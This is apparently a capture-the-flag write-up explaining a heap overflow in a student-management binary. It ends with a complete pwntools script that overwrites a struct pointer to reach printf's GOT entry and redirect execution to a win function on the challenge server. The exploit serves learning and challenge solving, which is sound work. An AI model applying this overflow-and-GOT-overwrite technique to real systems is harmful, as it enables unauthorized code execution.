This challenge presents a student management system with a subtle but exploitable vulnerability. The path to exploitation requires careful binary analysis and understanding of heap memory layout, but once the vulnerability is identified, the solution is straightforward.
Initial Reconnaissance
The binary provides a menu-driven interface for managing student records. Players can create students, remove them, modify their information, and view student details. Each student appears to have three attributes: a name, a grade level, and a GPA.
The first step is to understand the program’s behavior through dynamic analysis. Running the binary and interacting with it reveals the basic functionality. However, to find the vulnerability, static analysis is necessary.
Binary Analysis
Disassembling the binary reveals several key functions. The most interesting one is the modify student function, which allows changing a student’s name, grade level, or GPA.
When examining the modify name functionality, something unusual stands out. The function appears to read more data than expected. By tracing through the disassembly or using a debugger, it becomes clear that when modifying a student’s name, the program uses a buffer size that’s larger than the name field itself.
The student structure layout can be inferred from the binary’s behavior and memory allocations. Analysis reveals:
- A name field (34 bytes)
- A grade level field stored as a pointer to an integer (not a direct integer value)
- A GPA field (float)
The fact that grade level is stored as a pointer is unusual and immediately suspicious. Why allocate a separate integer on the heap just to store a grade level? This design choice suggests the pointer might be exploitable.
Discovering the Vulnerability
Through careful analysis of the modify name function, the vulnerability becomes apparent. The function uses sizeof(struct student) as the buffer size when reading the new name, rather than the size of the name field itself.
Since the name field is only 34 bytes but the entire structure is larger (approximately 44 bytes on a 32-bit system, accounting for the name, pointer, float, and padding), this allows writing beyond the bounds of the name array. The overflow can reach into adjacent fields in the structure, specifically the gradelevel pointer that follows the name field in memory.
This is a classic heap overflow vulnerability. By crafting a payload that fills the name buffer and continues writing, an attacker can overwrite the gradelevel pointer with an arbitrary address.
Exploitation Strategy
The exploitation path leverages the overflow to achieve arbitrary write, then uses that to hijack control flow:
- Create a student to allocate a valid student object on the heap
- Modify the student’s name with a crafted payload that:
- Fills the 34-byte name buffer
- Overwrites the
gradelevelpointer with the address of a GOT entry (printf is a good target since it’s called frequently)
- Modify the grade level again. Since
gradelevelnow points to the GOT entry, modifying it writes to that GOT entry - Trigger the overwritten function. When
printfis called next (which happens when the menu is displayed), execution jumps to the address written to its GOT entry
Calculating the Offset
To craft the payload correctly, the exact offset to the gradelevel pointer must be determined. The structure layout shows:
name[34]starts at offset 0gradelevel(pointer, 4 bytes) starts at offset 34gpa(float, 4 bytes) starts at offset 38
In practice, 34 bytes should be sufficient to reach the pointer, but accounting for potential alignment issues, 36 bytes provides a safer offset. This can be verified through testing or by examining the actual memory layout in a debugger.
Finding Key Addresses
Several addresses need to be identified:
- GOT entry for printf: This can be found using
objdump -Ror by examining the binary’s relocation table. The address0x804c00cis the printf GOT entry. - Win function address: The binary contains a
win()function that reads and prints the flag. Its address can be found through disassembly or by searching for the function. The address0x8049316corresponds to the win function.
Building the Exploit
The payload construction is straightforward:
address_offset = 36
printf_got = 0x804c00c
win_function = 0x8049316
payload = b"A"*address_offset
payload += p32(printf_got)
This creates a payload that fills the name buffer and overwrites the gradelevel pointer with the address of printf’s GOT entry.
Complete Exploitation Flow
The full exploit follows this sequence:
- Create a student (option 1) with any name, grade level, and GPA
- Modify the student (option 3), select student 0, choose to modify the name (option 1), and send the crafted payload
- Modify the student again (option 3), select student 0, choose to modify the grade level (option 2), and send the address of the
winfunction
When modifying the grade level the second time, the program performs scanf("%d", students[modify]->gradelevel). Since gradelevel has been overwritten to point to the GOT entry, this writes the win function address directly into printf’s GOT entry.
The next time printf is called (which happens immediately when the menu is displayed), execution jumps to the win function instead, and the flag is printed.
The Complete Exploit
from pwn import *
address_offset = 36
printf_got = 0x804c00c
win_function = 0x8049316
payload = b"A"*address_offset
payload += p32(printf_got)
target = remote("host5.metaproblems.com", 5035)
# Create a student
target.sendline(b"1")
target.recvuntil(b"name?")
target.sendline(b"Your about to get pwned :D")
target.recvuntil(b"level?")
target.sendline(b"12")
target.recvuntil(b"GPA?")
target.sendline(b"4.0")
# Modify the name to overflow and overwrite gradelevel pointer
target.recvuntil(b"> ")
target.sendline(b"3")
target.recvuntil(b"modify?")
target.sendline(b"0")
target.recvuntil(b"> ")
target.sendline(b"1")
target.recvuntil(b": ")
target.sendline(payload)
# Modify grade level - this now writes to printf's GOT entry
target.recvuntil(b"> ")
target.sendline(b"3")
target.recvuntil(b"modify?")
target.sendline(b"0")
target.recvuntil(b"> ")
target.sendline(b"2")
target.recvuntil(b": ")
target.sendline(str(win_function).encode())
# The next printf call will jump to win()
flag = target.recvuntil(b"}").split(b'\n')[1]
print(flag)
target.close()